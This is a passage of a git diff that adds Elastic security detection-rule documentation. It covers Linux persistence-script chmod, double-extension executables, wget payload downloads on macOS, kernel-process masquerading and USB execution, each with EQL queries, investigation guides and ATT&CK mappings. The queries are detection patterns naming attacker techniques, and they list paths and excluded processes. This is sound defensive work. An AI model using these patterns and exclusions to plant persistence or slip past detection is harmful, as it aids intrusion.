within your environment. Adversaries may create these scripts to execute malicious code at start-up, or at a set interval to gain persistence onto the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable Bit Set for Potential Persistence Script* + + +In Linux environments, scripts with executable permissions can be used to automate tasks, including system start-up processes. Adversaries exploit this by setting executable bits on scripts in directories typically used for persistence, allowing malicious code to run automatically. The detection rule identifies such activities by monitoring for changes in executable permissions in these directories, signaling potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the specific script or file that had its executable bit set, focusing on the process.args field to determine the exact file path. +- Examine the process.parent.executable field to understand the parent process that initiated the permission change, which can provide context on whether the action was part of a legitimate process or potentially malicious activity. +- Check the user account associated with the process to determine if the action was performed by a legitimate user or a compromised account. +- Investigate the history of the file in question, including recent modifications and the creation date, to assess if it aligns with known system changes or updates. +- Analyze the contents of the script or file to identify any suspicious or unauthorized code that could indicate malicious intent. +- Correlate this event with other recent alerts or logs from the same host to identify patterns or additional indicators of compromise that may suggest a broader persistence mechanism. + + +*False positive analysis* + + +- System administrators or automated scripts may legitimately change executable permissions in directories like /etc/init.d or /etc/cron* for maintenance or updates. To handle these, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Software installations or updates might trigger this rule when they modify startup scripts or configuration files. Users can mitigate this by excluding processes originating from trusted package managers or installation paths, such as /var/lib/dpkg. +- Custom user scripts in home directories, especially in /home/*/.config/autostart, may be flagged if users set them to run at startup. To reduce false positives, maintain a whitelist of user scripts that are known and approved for startup execution. +- Security tools or monitoring solutions might adjust permissions as part of their operations. Identify these tools and exclude their processes from triggering the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are associated with unauthorized script execution. +- Remove or disable the executable permissions on the identified scripts to prevent further unauthorized execution. +- Conduct a thorough review of the affected directories to identify and remove any additional unauthorized scripts or files. +- Restore any modified system files or configurations from a known good backup to ensure system integrity. +- Monitor the system for any signs of re-infection or further unauthorized changes, focusing on the directories and processes highlighted in the alert. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.args : ( + // Misc. + "/etc/rc.local", "/etc/rc.common", "/etc/rc.d/rc.local", "/etc/init.d/*", "/etc/update-motd.d/*", + "/etc/apt/apt.conf.d/*", "/etc/cron*", "/etc/init/*", "/etc/NetworkManager/dispatcher.d/*", + "/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*", + + // XDG + "/etc/xdg/autostart/*", "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", "/home/*/.config/autostart-scripts/*", + "/root/.config/autostart-scripts/*", "/etc/xdg/autostart/*", "/usr/share/autostart/*", + + // udev + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*" + +) and ( + (process.name == "chmod" and process.args : ("+x*", "1*", "3*", "5*", "7*")) or + (process.name == "install" and process.args : "-m*" and process.args : ("7*", "5*", "3*", "1*")) +) and not ( + process.parent.executable : "/var/lib/dpkg/*" or + process.command_line in ("chmod 777 /etc/update-motd.d/", "chmod 755 /etc/update-motd.d/") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-creation-with-multiple-extensions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-creation-with-multiple-extensions.asciidoc new file mode 100644 index 0000000000..a53e9e06d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-creation-with-multiple-extensions.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-executable-file-creation-with-multiple-extensions]] +=== Executable File Creation with Multiple Extensions + +Masquerading can allow an adversary to evade defenses and better blend in with the environment. One way it occurs is when the name or location of a file is manipulated as a means of tricking a user into executing what they think is a benign file type but is actually executable code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable File Creation with Multiple Extensions* + + +In Windows environments, adversaries may exploit file extensions to disguise malicious executables as benign files, such as documents or images, by appending multiple extensions. This tactic, known as masquerading, aims to deceive users and evade security measures. The detection rule identifies suspicious file creations by monitoring for executables with misleading extensions, excluding known legitimate processes, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the full file path and name, focusing on the extensions used to determine if they match the suspicious pattern outlined in the query. +- Investigate the process that created the file by examining the process.executable field to determine if it is a known legitimate process or potentially malicious. +- Check the file's origin by analyzing the user account and network activity associated with the file creation event to identify any unusual or unauthorized access patterns. +- Utilize threat intelligence sources to assess if the file hash or any related indicators of compromise (IOCs) are known to be associated with malicious activity. +- Examine the file's metadata and properties to verify its authenticity and check for any signs of tampering or unusual characteristics. +- Conduct a behavioral analysis of the file in a controlled environment to observe any malicious actions or network communications it may attempt. + + +*False positive analysis* + + +- Legitimate software installations may create executables with multiple extensions during setup processes. Users can exclude these by adding exceptions for known installer paths, such as "C:\Users\*\QGIS_SCCM\Files\QGIS-OSGeo4W-*-Setup-x86_64.exe". +- System updates or patches might temporarily create files with multiple extensions. Monitor and verify these activities, and if confirmed as legitimate, add exceptions for the specific update processes. +- Development environments or script-based applications may generate files with multiple extensions for testing purposes. Identify these environments and exclude their specific file paths or processes to prevent false positives. +- Security tools or administrative scripts might use multiple extensions for legitimate purposes. Review and whitelist these tools by their executable paths or process names to avoid unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious processes associated with the masquerading executable files to halt any ongoing malicious actions. +- Quarantine the identified files with multiple extensions to prevent execution and further analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional threats. +- Review and restore any altered system configurations or files to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar file creation activities to improve detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension : "exe" and + file.name regex~ """.*\.(vbs|vbe|bat|js|cmd|wsh|ps1|pdf|docx?|xlsx?|pptx?|txt|rtf|gif|jpg|png|bmp|hta|txt|img|iso)\.exe""" and + not ( + process.executable : ( + "?:\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "*\\Users\\*\\QGIS_SCCM\\Files\\QGIS-OSGeo4W-*-Setup-x86_64.exe" + ) and + file.path : ("?:\\Program Files\\QGIS *\\apps\\grass\\*.exe", "\\Device\\HarddiskVolume*\\Program Files\\QGIS *\\apps\\grass\\*.exe") + ) and + not process.executable : + ("C:\\Program Files\\dotnet\\dotnet.exe", + "C:\\Program Files\\Microsoft Visual Studio\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\dotnet\\dotnet.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Visual Studio\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Double File Extension +** ID: T1036.007 +** Reference URL: https://attack.mitre.org/techniques/T1036/007/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-download-via-wget.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-download-via-wget.asciidoc new file mode 100644 index 0000000000..c3132a5744 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-file-download-via-wget.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-executable-file-download-via-wget]] +=== Executable File Download via Wget + +Detects executable file downloads via wget to suspicious locations such as /tmp or /Users/Shared. Threat actors commonly use wget to download malicious payloads and additional tools for post-exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable File Download via Wget* + + +This rule detects wget pulling down a Mach-O executable and writing it into commonly abused transient or shared directories on macOS, which often signals payload staging during ingress tool transfer. Attackers frequently run wget from a shell or scripted installer to fetch a second-stage binary into /tmp or /Users/Shared, then immediately execute it to establish command and control or deploy additional tooling. + + +*Possible investigation steps* + + +- Pivot from the detected wget process to identify its parent process, user context, and full command line to determine whether it was launched by an interactive shell, script, or installer package. +- Review the network connection details from the wget execution (remote IP/domain, URL path, TLS certificate/SNI if available) and assess reputation plus whether it aligns with known internal software distribution. +- Inspect the downloaded Mach-O at the destination path by collecting its hash, signature/notarization status, and basic static traits (strings, embedded URLs, ad-hoc signing) to quickly judge legitimacy. +- Check for immediate follow-on activity from the same host such as execution of the new file, creation of persistence (LaunchAgents/Daemons, cron, login items), or additional tool downloads within the next few minutes. +- Scope for reuse by searching across endpoints for the same downloaded hash, filename, URL, or destination directory pattern to determine blast radius and whether this is a recurring delivery mechanism. + + +*False positive analysis* + + +- An administrator or developer uses wget in a script to fetch an internal build or test Mach-O binary and stages it in /tmp or /Users/Shared for immediate execution during troubleshooting or CI-style workflows. +- A legitimate installation or update routine invokes wget to download a helper executable to a transient directory (for unpacking or preflight checks) before moving it into an application bundle, causing a short-lived write to /tmp-like paths. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network and terminate the active `wget` process to stop additional payload transfers or execution. +- Quarantine the downloaded Mach-O from `/tmp`, `/private/tmp`, `/var/tmp`, or `/Users/Shared` and preserve a copy plus the originating `wget` command/URL for analysis before removal. +- Hunt on the host for immediate follow-on execution of the downloaded file and remove any persistence artifacts created around the same time, such as new LaunchAgents/LaunchDaemons, login items, or cron entries pointing to the staged path. +- Block the observed download URL/domain/IP at egress controls and add allowlisting controls for approved internal distribution sources to reduce future misuse of `wget` for tool transfer. +- Escalate to incident response if the staged Mach-O is executed, unsigned/ad-hoc signed, establishes outbound connections to unapproved infrastructure, or the same hash/URL is found on multiple endpoints. +- Harden endpoints by restricting `wget` usage where possible, enforcing Gatekeeper/notarization and least-privilege execution, and adding monitoring/controls for executable writes and executions from world-writable directories. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [network where host.os.type == "macos" and event.type == "start" and process.name == "wget"] + [file where host.os.type == "macos" and event.action == "modification" and + process.name == "wget" and + file.path like ("/tmp/*", "/private/tmp/*", "/private/var/tmp/*", "/var/tmp/*", "/Users/Shared/*") and + file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-masquerading-as-kernel-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-masquerading-as-kernel-process.asciidoc new file mode 100644 index 0000000000..299a85c910 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-executable-masquerading-as-kernel-process.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-executable-masquerading-as-kernel-process]] +=== Executable Masquerading as Kernel Process + +Monitors for kernel processes with associated process executable fields that are not empty. Unix kernel processes such as kthreadd and kworker typically do not have process.executable fields associated to them. Attackers may attempt to hide their malicious programs by masquerading as legitimate kernel processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sandflysecurity.com/blog/linux-stealth-rootkit-malware-with-edr-evasion-analyzed/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Executable Masquerading as Kernel Process* + + +In Linux environments, kernel processes like `kthreadd` and `kworker` typically run without associated executable paths. Adversaries exploit this by naming malicious executables after these processes to evade detection. The detection rule identifies anomalies by flagging kernel-named processes with non-empty executable fields, indicating potential masquerading attempts. This helps in uncovering stealthy threats that mimic legitimate system activities. + + +*Possible investigation steps* + + +- Review the process details for the flagged process, focusing on the process.executable field to identify the path and name of the executable. This can provide initial insights into whether the executable is legitimate or potentially malicious. +- Check the process's parent process (process.parent) to understand the context in which the process was started. This can help determine if the process was spawned by a legitimate system process or a suspicious one. +- Investigate the file at the path specified in the process.executable field. Verify its legitimacy by checking its hash against known malware databases or using a file reputation service. +- Examine the process's command line arguments (process.command_line) for any unusual or suspicious parameters that might indicate malicious activity. +- Review recent system logs and events around the time the process was started to identify any related activities or anomalies that could provide additional context or evidence of compromise. +- If available, use threat intelligence sources to check for any known indicators of compromise (IOCs) related to the process name or executable path. + + +*False positive analysis* + + +- Custom scripts or administrative tools may be named similarly to kernel processes for convenience or organizational standards. Review these scripts and tools to ensure they are legitimate and consider adding them to an exception list if verified. +- Some legitimate software or monitoring tools might use kernel-like names for their processes to integrate closely with system operations. Verify the source and purpose of these processes and exclude them if they are confirmed to be non-malicious. +- System updates or patches might temporarily create processes with kernel-like names that have executable paths. Monitor these occurrences and exclude them if they are part of a verified update process. +- Development or testing environments may intentionally use kernel-like names for process simulation. Ensure these environments are isolated and add exceptions for these processes if they are part of controlled testing scenarios. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process immediately to stop any ongoing malicious actions. Use process management tools to kill the process identified by the alert. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the intrusion. +- Remove any malicious executables or files associated with the masquerading process from the system to ensure complete remediation. +- Restore the system from a known good backup if the integrity of the system is compromised, ensuring that the backup is free from any malicious artifacts. +- Update and patch the system to close any vulnerabilities that may have been exploited by the attacker, ensuring all software and security tools are up to date. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name : ("kworker*", "kthread*") and process.executable != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-a-removable-media-with-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-a-removable-media-with-network-connection.asciidoc new file mode 100644 index 0000000000..d78dfdef64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-a-removable-media-with-network-connection.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-execution-from-a-removable-media-with-network-connection]] +=== Execution from a Removable Media with Network Connection + +Identifies process execution from a removable media and by an unusual process. Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution from a Removable Media with Network Connection* + + +Removable media, like USB drives, are often used for data transfer but can be exploited by adversaries to introduce malware into isolated systems. Attackers may leverage autorun features to execute malicious code upon insertion. The detection rule identifies suspicious process executions from USB devices, especially those lacking valid code signatures, and correlates them with network connection attempts, signaling potential unauthorized access efforts. + + +*Possible investigation steps* + + +- Review the process execution details, focusing on the process.entity_id to identify the specific process that was executed from the USB device. +- Check the process.Ext.device.bus_type and process.Ext.device.product_id fields to confirm the involvement of a USB device and gather information about the specific device used. +- Investigate the process.code_signature fields to determine if the process lacks a valid code signature, which could indicate malicious intent. +- Correlate the process execution with network connection attempts by examining the network event logs, particularly looking for any unusual or unauthorized connection attempts. +- Assess the context of the network connection attempt, including the destination IP address and port, to evaluate the potential risk and intent of the connection. +- Gather additional context by reviewing recent activity on the host, such as other process executions or file modifications, to identify any further signs of compromise. +- If necessary, isolate the affected system to prevent further unauthorized access or data exfiltration while continuing the investigation. + + +*False positive analysis* + + +- Legitimate software installations from USB drives may trigger the rule. To manage this, create exceptions for known software installers by verifying their code signatures and adding them to an allowlist. +- IT administrators often use USB devices for system updates or maintenance. Identify and exclude these activities by correlating them with known administrator accounts or devices. +- Some organizations use USB devices for regular data transfers. Establish a baseline of normal USB activity and exclude these patterns from triggering alerts. +- Devices with expired but previously trusted code signatures might be flagged. Regularly update the list of trusted certificates and exclude processes with known expired signatures that are still considered safe. +- Network connection attempts by legitimate applications running from USB drives can be mistaken for threats. Monitor and document these applications, then configure exceptions based on their process names and network behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Disable autorun features on all systems to prevent automatic execution of potentially malicious code from removable media. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware. +- Review and block any suspicious network connections originating from the affected system to prevent communication with potential command and control servers. +- Collect and preserve relevant logs and forensic evidence from the affected system and removable media for further analysis and potential legal action. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and alerting for similar activities, focusing on process executions from removable media and unauthorized network connection attempts. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=5m + [process where host.os.type == "windows" and event.action == "start" and + + /* Direct Exec from USB */ + (process.Ext.device.bus_type : "usb" or process.Ext.device.product_id : "USB *") and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + + not process.code_signature.status : ("errorExpired", "errorCode_endpoint*")] + [network where host.os.type == "windows" and event.action == "connection_attempted"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: 